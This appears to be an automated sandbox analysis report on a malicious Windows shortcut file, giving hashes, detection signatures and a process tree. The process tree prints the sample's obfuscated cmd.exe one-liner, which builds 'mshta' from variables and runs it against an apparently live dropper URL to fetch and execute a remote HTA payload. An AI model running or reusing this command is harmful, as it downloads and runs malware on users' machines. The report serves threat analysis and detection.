Analysis
- max time kernel
40s - max time network
37s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 18:12
Static task
static1
Behavioral task
behavioral1
Sample
DOC-M1NBMF.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-M1NBMF.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-M1NBMF.lnk
- Size 1KB
- Sample260803-wtaaaaxxbx
- SHA256 7a8a9addf9425c772dfe77a3e836f8ca0c0f8594e445439003c4ab9c7ee3f309
- MD5 2a88062177497cca013d499a11c0267d
- SHA1 01786c628d3506daec4e6fac8ed46055900818bc
- SHA512 c4edf5e72d763604bee1ebdda0f81c3f5e6452e4e6a03443972be4359e0217fd32a7627f2ed9a4dfbd6610c29a1eded6c74cba28643d7fc6cbb9d30ab10fb9f0
- TLSH T1E731CB503FFC0664F3F38F7798BB572485BBB99A8D20C62D0041450C1032A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1856 cmd.exe 4340 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1856 wrote to memory of 4340 1856 cmd.exe 90 PID 4340 wrote to memory of 4772 4340 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-M1NBMF.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set vz=msh&&set HloI=ta&&start "" !vz!!HloI! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4772
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